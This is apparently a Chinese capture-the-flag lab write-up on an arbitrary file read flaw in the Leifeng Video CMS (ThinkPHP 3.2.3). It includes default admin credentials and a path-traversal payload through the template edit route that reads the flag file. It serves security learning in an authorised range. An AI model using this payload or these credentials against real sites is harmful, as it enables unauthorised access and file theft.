声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
靶场介绍
雷风影视CMS是一款采用PHP基于THINKPHP3.2.3框架开发,适合各类视频、影视网站的影视内容管理程序,该CMS存在缺陷,可以通过 admin.php?s=/Template/edit/path/*web*..*..*..*..*1.txt 的方式读取任意文件。
春秋云镜开启靶场:
http://eci-2zebxdyfuuxg0rzv2jj6.cloudeci1.ichunqiu.com/
登录后台
http://eci-2zebxdyfuuxg0rzv2jj6.cloudeci1.ichunqiu.com/admin.php?s=/Public/login.html
账号admin 密码admin
payload:
/Template/edit/path/*web*..*..*..*..*..*..*flag